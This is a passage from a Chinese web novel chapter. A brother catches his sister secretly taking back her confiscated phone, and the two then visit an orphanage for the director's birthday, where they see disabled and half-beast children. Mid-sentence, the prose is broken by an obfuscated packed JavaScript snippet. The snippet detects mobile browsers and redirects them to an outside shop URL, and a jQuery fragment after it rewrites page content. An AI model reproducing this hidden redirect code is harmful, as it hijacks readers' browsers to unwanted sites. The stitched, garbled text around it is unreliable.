池枝越倒是有点意外,盖着手机说:“你记得这么清楚啊。”
许梦桦得意地扬起脖子,她恰好穿了件高领白毛衣,像极了准备啄人的大天鹅:“我们家第一张全家福就在爸妈房间摆着呢,放在锁我手机的抽屉里,我每次去拿手机都能看见。”
池枝越若有所思地点头:“原来是这样。”
许梦桦啧啧两声:“哥,你的记性不行啊,这都忘了。”
池枝越眉梢微挑,不动声色拉下一半遮光板,视线轻飘飘扫向窗外,语气听不出情绪:“我记性确实不太好了,又忘了你刚刚说什么。你去爸妈房间,是干嘛来着?”
“当然是拿手……”
许梦桦顺口重复到一半,脸色骤然一变,整个人都僵住。
∑(°口°?)
她——说漏嘴了——
刚才还高傲的许梦桦,想重新戴上眼罩,假装自己从未存在过。
池枝越不给她半点机会,语气平静地追问:“拿过几次。”
许梦桦耷拉肩膀,蔫蔫地伸出三根手指:“就三次。”
池枝越淡淡剐了她一眼。
许梦桦闭了闭眼,咬牙坦白:“好吧,一周四次。”
池枝越:“?”
池枝越差点气笑了。
他们为了让许梦桦不分心,每次写题都要收手机。一周总共收五次,结果这丫头拿了四次?
池枝越指尖在扶手上轻轻敲着,语气凉丝丝的:“挺好,还知道给我们留一次表演机会。
许梦桦小声地说:“不,那次是打探你们准备放在哪个抽屉。”
池枝越:“……?”
许梦桦见池枝越越来越沉默,连喜欢的视频都不看了,只一味望着窗外,心里顿时咯噔一下——大事不妙。
从小到大,她不怕池枝越“坑”她,就怕池枝越不理她。这就代表这人是真生气了。
于是许梦桦又是道歉,又是发誓,又是各种夸赞池枝越,在微信里写了一首《池枝越赋》。
其实池枝越早就不气了,只是这丫头这次实在过分,不给点教训,往后真要拉不住缰绳了。
因为这事,他一路都没什么心情看新视频,直到下了高铁、换乘出租车,才在副驾驶上点开手机。
一打开和许梦桦的私聊,他的脸上瞬间铺着一层白光。
几百字长文,堪比被人迎面丢了个闪光灯。
池枝越:“……”
许梦桦发来一长串文字,又是文言文,又是rap,还夹杂着几句打油诗。每一段结尾都在疯狂拍马屁,从古至今能用上的好词几乎全堆了一遍。
把池枝越夸的像天上的神仙转世,就差给他盖庙。
最后立下豪言壮语:“高二期末考要是没拿年级前五,我愿意整个暑假承包所有家务!为你们上刀山下火海肝脑涂地!”
池枝越看完,心情缓和了不少,面上依旧没什么表情,但是开口了:“今天看你表现,表现好了我就当没听见,不告诉爸妈了。
后排没说话,消息倒是先来了。
【妹妹】:!!!
【妹妹】:?(? ? ?)还是哥哥最好了
【池枝越】:以后手机放我那里了
【妹妹】:( ≥? ≤ )好吧
原本在后排蔫蔫的许梦桦一下子来了精神,往前凑,殷勤地搓手说:“哥!我今天就是你得力的小助手!你指哪我打哪。”
正巧等绿灯,司机大姐听了,笑呵呵地说:“你妹妹真懂事啊,兄妹俩关系也好。”
池枝越慢悠悠地点头:“是挺好的,暑假还会帮我们干家务呢。”
许梦桦:“……”腹黑!
许梦桦嘴角一下子掉下去,嘟嘟囔囔地坐回原位:“我肯定不会出前五的,你就放心吧。”
池枝越笑了笑,看向前路的风景。
福利院在梨合市偏郊区的地方,离安徽省也就几公里。所以池枝越每次来,第二天就会顺道去趟安徽逛一圈。
司机大姐笑着说,昨天傍晚刚下过一场透雨,空气里还带着湿润的泥土气息。
周日虽天光大晴,阳光亮得晃眼,路面上积着一洼洼清亮的水痕,微微漾着光。
车子平稳驶过,车轮碾过水洼,最终缓缓停在福利院门前。
大门两侧立着素色石柱,上面刻着一行规整的字——梨合阳光福利院。
隔着围栏望进去,是一片开阔舒展的浅绿草坪。
三幢米白与浅棕相间的欧式小楼错落散布在草坪深处,屋顶线条柔和,窗明几净。儿童游乐区里,彩色的滑滑梯在阳光下泛着柔和的光泽,草木清浅,不敢想象春天会有多好看。
池枝越在门口做访客登记时,许梦桦扒着围栏往里打量,感叹道:“是不是装修过啦?感觉和去年来的时候不一样了。”
“有些地方年久失修有危险,所以重新整修了一下。”池枝越写完登记纸,递给警卫。
警卫解开门锁,挥挥手让他们进去。
池枝越先走了进去,许梦桦拉着行李箱跟在最后。
警卫见状笑道:“小姑娘可真能干,一路自己拎过来的?怎么不叫你哥帮忙啊。”
许梦桦连忙说:“是我不让他帮忙的,我想独立一点。”
警卫又是一通夸赞,夸得许梦桦佯装不好意思地挠头。
走远后,池枝越侧头看她:“其实心里乐开花了吧。”
许梦桦一改刚才谦逊的模样,一本正经点头:“对啊,他夸我的都是实话。”
池枝越听罢,淡淡开口:“家长会的时候,骆野听完你的感言,说了一句话。”
许梦桦一听见“骆野”两个字,眼睛瞬间亮了:“啊?骆野哥哥夸我什么了?”
池枝越笑了:“我都没说是夸,你倒先认定是夸了。”
许梦桦哼了一声:“他人那么好,总不可能骂我吧。”
“的确,”池枝越点了下许梦桦的额头,“他说你这性格很好,出了社会不容易被pua。”
“哈哈哈,”许梦桦笑得跟花似的,举起自己手臂,展示羽绒服下的肱二头肌,“谁敢pua我啊?我不得给他捶得找爹妈!”
“什么事啊,笑得这么开心?”
熟悉又温和的声音从前方传来,两人同时抬眼望去。
一楼大门前,站着一位气质温婉的女人。
她身着一袭水蓝色古装长裙,裙摆垂顺柔和,头发整齐盘成一对灵动的双髻,戴着一对绒软的蓝色兔耳朵发饰。
化着淡妆,眼角带着浅浅的笑纹,看上去四十岁上下。
池枝越率先走过去,礼貌地点头:“方院长好,生日快乐。”
许梦桦也拉着行李箱蹦跶过去,“院长阿姨生日快乐!我给你带了好几件裙子!”
“天哪!谢谢你们,”方冬梅握着许梦桦的手,慈祥地打量她,“梦桦又长高了啊,去年还和我一样高,现在都比我高了。”
许梦桦笑呵呵地说:“阿姨你今天cos了什么啊?”
方冬梅往后站了一步,让他们好好看着,笑着说:“《虹猫蓝兔七侠传》里的蓝兔啊,小孩们最近都爱看这本动画片,怎么样,我cos的还行吧。”
“很棒了,很清雅。”池枝越夸赞道。
“就爱听你说话,”方冬梅牵着许梦桦的手,拍拍池枝越的肩膀说:“走吧我带你们进去看看,装修了好多地方呢。”
三人并排走进一楼大厅。
这栋楼一共五层,下三层都是小教室。
因为院里孩子年龄跨度大,便按相近年纪分班,一间教室里,后排的孩子和许梦桦差不多高,前排的却还矮上一大截。
与普通教学楼不同,这里的地面铺着完整的盲道,前后门上都贴有盲文标识。即便只有五层,也专门加装了电梯。
这些都是政府与福利机构共同出资改良的。
整栋楼新添了茶水间、多功能教室与休息室。
茶水间的热水机换成了更安全的款式,面板上单独标注了盲文,还带有防干烧与水满保护。
池枝越看着饮水机问道:“这个机器好用吗?”
方院长正和许梦桦说话,闻言连连点头:“好用多了,烫伤的概率小了不少,多亏了杜先生。”
池枝越摸过热水机,笑着说:“我回去就和杜若说,他一高兴,说不定又买来新机子给你们用了。”
方冬梅赶紧摆手说:“诶唷不用了,这几年你和他一直补贴我们,怎么好意思再叫你们出钱啊?政府都有补贴的,我们已经够了。”
这时许梦桦补了一句:“阿姨你就收下吧,不然他回去又得想办法匿名给你们寄东西了。”
“诶唷……你们怎么那么好啊……”方冬梅一时动容,鼻尖微微发酸,侧过脸拭去眼角的湿意。
池枝越与许梦桦飞快对视一眼,许梦桦立刻心领神会,连忙开□□跃气氛:“我看今年新来的小朋友少了好多呢,刚才那间教室都没坐满。”
方冬梅用袖子擦干净眼泪,点头说:“去年两月到现在,就加了十三个小孩,我是期望人越少越好,哪天一个人都没了,彻底关门我才开心。”
“等阿姨不当院长了,就来我们家玩!我给你和我妈组个姐妹局,一起到处游山玩水!”许梦桦拍着胸口保证。
方冬梅特别喜欢许梦桦,就喜欢她这份大方的性格,爱不释手地摸着她的脸蛋,跟池枝越夸着:“瞧瞧,多大方,性格真好。想起你刚来这里的时候,小豆丁一个,脸肉肉的可爱的不行,当时躲在你妈后面,给你棒棒糖了才出来。”
底被掀,许梦桦这次是真不好意思了,耳朵通红地说:“阿姨,去年说过一次了啦,现在的重点是阿姨生日,我们什么时候吃蛋糕啊?”
方冬梅笑着说:“中午吃饭的时候就能吃了。”
池枝越看了眼走廊的窗外天空,说:“时间也差不多就,要不我们先去食堂吧?先把盘子和勺子备好,到时候方便分蛋糕。”
“嗯嗯。”许梦桦点头。
三人来到另一栋的一层大食堂,窗口的高度也大不相同,完全响应了政府的全程无障碍。
方冬梅订了两个十二寸的蛋糕,一个是甜奶油款,一个是用蔬菜泥和鲜果夹心做成的素食蛋糕,都安安稳稳放在后厨冰箱里。
厨师和分菜阿姨叔叔也都认识池枝越,见他来了,热情地打招呼,几个人一起摆盘子。
摆完,铃声也响了,陆续来了一批小孩,食堂顿时热闹嘈杂起来。
“哇!!!!好多碗啊!!”
“是蛋糕吗?!方妈妈生日快乐!”
“妈妈生日快乐——”
……
在这儿,孩子们都把老师叫作爸爸妈妈。小家伙们看见蛋糕,第一反应不是嘴馋,而是争先恐后扑到方冬梅怀里,紧紧抱着她。
池枝越和许梦桦自觉地站在旁边,看着被小孩们簇拥的方冬梅。
这群孩子里有不少是半兽人,年纪太小,还不会收敛耳朵和尾巴。
有的顶着毛茸茸的小兽耳,有的拖着有些残缺的尾巴,不停地晃动。
远远望去,像一群跌撞着跑来的小玩偶。
现实里的福利院其实不像是影视作品拍的那样:一堆小天使般的小孩们在草坪上玩耍打闹,等着新的家庭到来。
实际上,被人遗弃的小孩里,百分之八十都是因为有先天的疾病家庭负担不起,所以才被丢弃。
他们站不起来、无法奔跑,只能坐轮椅或者柱拐杖;亦或者四肢残缺、器官功能受损。
完全健康的小孩才是少数,其中女孩子为多,如果还是半兽人种,基本上没过几个月就被领养了。
像池枝越就是比较幸运的半兽人,除了耳朵残缺,身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440765|197343||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上多出贫血症状,其他没有多大的毛病,所以从带回福利院到被领养走,用时不到一年。
这群天真浪漫的小孩中,年纪最大的是患有唐氏综合征小男孩,已经十九岁,但智力只有六岁;最小的小孩儿被旁边的老师抱着,用奶瓶喝奶。
方冬梅耐心地挨个拥抱,先抱过能跑能跳的孩子,再走向后面的孩子们。
她一遍遍起身、蹲下,没有半分厌烦。
池枝越想起在孤儿院的时候,方冬梅只要和他们说话,都会弯下腰听他们说,从来没有高高在上过。
十多年过去,她依旧如此。
等小孩全都抱完,老师把灯关上,大家看着方冬梅点燃拉住。
这一刻没有任何吵闹的声音,小孩们全都静静地等待方冬梅许愿。
“哇,真的好乖啊。”许梦桦忍不住说。
池枝越望着黑暗中莹莹闪亮的蜡烛,回答:“因为在这里,每个小孩都被灌输过‘我们要感谢自己的诞生,才能了解这个世界’,所以大家都很看重生日,不会有人搞破坏的。”
“难怪我们家每次生日你都办的特别隆重,”许梦桦恍然大悟,“我还以为你是单纯馋蛋糕呢。”
池枝越:“……?”
方冬梅许完愿,吹灭蜡烛,开始分蛋糕。
有些不能吃糖的小孩就吃蔬菜味的,大家其乐融融地坐在椅子上吃蛋糕。
池枝越与许梦桦也分到了一块,味道不算特别甜,很适合这群小朋友吃。
吃完蛋糕,再吃中饭,索性今天食堂吃的也是面和小炒,大家吃的八分饱,开始下午的午睡和自由活动了。
不爱午睡的小孩就出去晒太阳,许梦桦说她想四处逛逛,就跟着小朋友们跑了,留下池枝越和方冬梅两人边走边聊。
无非是聊这些年福利院的未来,他们的过去,还有这一年发生的事。
这几年,池枝越给福利院寄过很多东西,收了少部分用具,钱全都退了回去。在这里,方冬梅又说了一次不用他的钱。
池枝越又当没听见,打马虎眼过去:“这里的绿植又换了一批,挺好的。”
“你这人真是……诶小虎,这个给你。”方冬梅手里抱着许梦桦买来的零食包,遇到小孩就发零食。
小男孩晃着尾巴,睁着能看见的那只眼睛,朝他们鞠了一躬:“谢谢方妈妈!还有这个大哥哥!”
随后蹦蹦跳跳地跑向外面的草地,混入和许梦桦聊天的队伍里。
许梦桦像个小大人一样,被一群小鼻嘎围着,笑得爽朗。
阳光的碎圈落在她的头发上,方冬梅看着,视线又转向池枝越。
他围着暖棕格纹围巾,穿一件浅驼色羊毛大衣,奶杏色高领,腰间是雾霾蓝针织边角,深卡其长裤。
整体颜色与褐色的头发呼应,和许梦桦也呼应,看谁都知道是家属。
方冬梅感叹道:“不得不说,你改了发色之后,你们确实像一家人了。”
池枝越浅笑着,摇摇脑袋:“她最开始还不想让我改,一直说没必要为了融入他们委曲求全自己。”
“那肯定的啊,你那白头发多好看啊,真是可惜了。”方冬梅惋惜地叹了口气。
池枝越刚到福利院时,头发是珍珠般的白色,长相清俊,眼珠是澄澈的黄蓝渐变,像一颗精致的琉璃珠。
那年冬天,志愿者牵着一身白衣的他站在门口,大家险些以为是冬日化成的雪娃娃,春风一吹就会散了。
后来被这家人收养。为了更好地融入,他主动把头发染成了和家人相近的褐色。
方冬梅笑道:“好多人都想染这个颜色呢,都染不出来。”
池枝越笑了笑:“也不至于好多人吧。”
方冬梅摸过自己的头发:“比如我啊,我就想把这玩意儿染成绿的。”
池枝越:“……”
池枝越:“那有点太潮了。”
“哈哈,”方冬梅捧着肚子笑起来,“吾腹腹。”
神来的吾腹腹……
池枝越:“您老少上点网吧,感觉在和网友说话。”
方冬梅不语,只是一味地笑。
池枝越啧笑了一下,顿了顿,又补充:“而且你放心,我这个不是永久的,哪天不想染了,不补颜色,过一个月就会变回原来的颜色了。”
“那就好,”方冬梅心安地拍拍胸口,“对了,你的记忆怎么样了?最近想起什么了吗?”
“好像有一点恢复的迹象,隐约看见了一个人影。”提起这件事,池枝越的眼神瞬间温柔下来,“后来我又遇到一个人,每次看见他,都会忍不住心动。”
方冬梅比听到福利补贴还要高兴,眼睛一亮:“这可是大好事!我就等着你来带他见我,到时候你就是你们那一批里第四个成家的了!”
方冬梅也是少有知道池枝越取向的人。毕竟都玩cosplay了,这点接受度还是有的。
所以池枝越出柜时,她只花一秒就接受了。
池枝越也坦然地说:“我们才在一起没多久,还没见过家长。”
“这有啥呀,你家里人肯定都很能接受,你看像梦桦脾气又温柔又和善,肯定会同意的。”方冬梅不以为意地说。
话音刚落,两人已走到草坪边缘,忽然听见一阵整齐划一的掌声。
许梦桦站在孩子们中间,一脸严肃地宣布:“记住了!别人打你一巴掌,你就还两巴掌,宁可见法官,也不要见法医!给我重复一遍!”
小孩们:“宁可见法官也不要见法医!”
池枝越:“……温柔。”
方冬梅:“……”
许梦桦又高声道:“一时嚣张一时狂,恶行到头终有偿!”
孩子们中气十足地接:“没事不要拳碰拳,既是孙子也是爷!”
池枝越:“和善。”
方冬梅:“……”